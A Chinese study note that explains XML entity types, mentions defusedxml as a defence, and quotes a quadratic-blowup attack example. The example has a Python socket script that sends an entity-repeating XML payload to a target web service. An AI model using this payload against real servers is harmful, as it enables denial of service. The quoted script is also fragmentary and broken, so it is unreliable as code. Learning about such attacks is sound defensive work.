在查找openpyxl的官方介绍时,注意到security这一栏提到了针对xml解析器的攻击。
//实体,节选自:https://blog.csdn.net/janchin/article/details/46849209
//xml攻击一览,节选自:https://www.apiref.com/python-zh/library/xml.html#xml-vulnerabilities
//二次爆炸攻击示例,节选自:https://www.vishalmishra.in/post/xml-quadratic-blowup-attack/
实体
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。有字符实体、命名实体、外部实体、参数实体。
字符实体
' 是一个撇号:’ apostrophe
& 是一个与字符:& ampersand
" 是一个引号:"
< 是一个小于号:<
> 是一个大于号:>
A(十进制值)或 A(十六进制值)表示大写字母A
© 或 ©表示版权符号©
可以表示任何Unicode字符。
在进行其他实体相关的解析之前,将首先替代字符实体。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
命名实体
也称内部实体。简单来说,实体就是宏,它们在我们处理文档时得到扩展。
<!ENTITY c "Chris">
<!ENTITY ch "&c; Herborth">
在一个文档中使用 &c; 将扩展为 Chris,&ch; 将扩展为完整的 Chris Herborth。
外部实体
创建一本图书并将每一章存储为一个单独的文件:
<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">
<?xml version="1.0" encoding="utf-8"?>
<!-- Pull in the chapter content: -->
&chap1;
&chap2;
&chap3;
参数实体
它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。参数实体可以引用其它参数实体。
<!ENTITY % attrs "%coreattrs; %i18n; %events;">
<!ENTITY % coreattrs
"id ID #IMPLIED
class CDATA #IMPLIED
style %StyleSheet; #IMPLIED
title %Text; #IMPLIED"
>
<!ENTITY % i18n
"lang %LanguageCode; #IMPLIED
xml:lang %LanguageCode; #IMPLIED
dir (ltr|rtl) #IMPLIED"
>
实体的好处
在需要反复输入相同的文本时,可以尝试利用实体。比如公司全名、产品名称、商标信息等。
使用实体可以避免逐一替换可能变化的常数,类似C语言中的宏。
XML攻击一览
defusedxml 是一个纯 Python 软件包,它修改了所有标准库 XML 解析器的子类,可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码,建议使用此程序包。
二次爆炸攻击示例
import socket,ssl
###########Code Snippet###########
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
addr = (sys.argv[1], int(sys.argv[2]))
try:
s.connect(addr)
data = 'GET /rest/version HTTP/1.0\r\nContent-Type: application/xml\r\n\r\n' + exploit_PayloadGen()
s.send(data)
resp = ss.recv(1000)
s.close()
print("Attack Failed!!")
except:
time.sleep(1)
if status == True:
print("Attack Successful. XML application pawned!!!")
status=False
###################################
<?xml version="1.0"?><!DOCTYPE payload [
<!ENTITY Aloo "AAAAAAAAAAAAAAAAAAA...">
]>
<payload>&Aloo;&Aloo;&Aloo;&Aloo;&Aloo;&Aloo;...</payload>
也就是说,传输少量内容,解析器会放大很多倍。这跟udp反射攻击的思路有点像。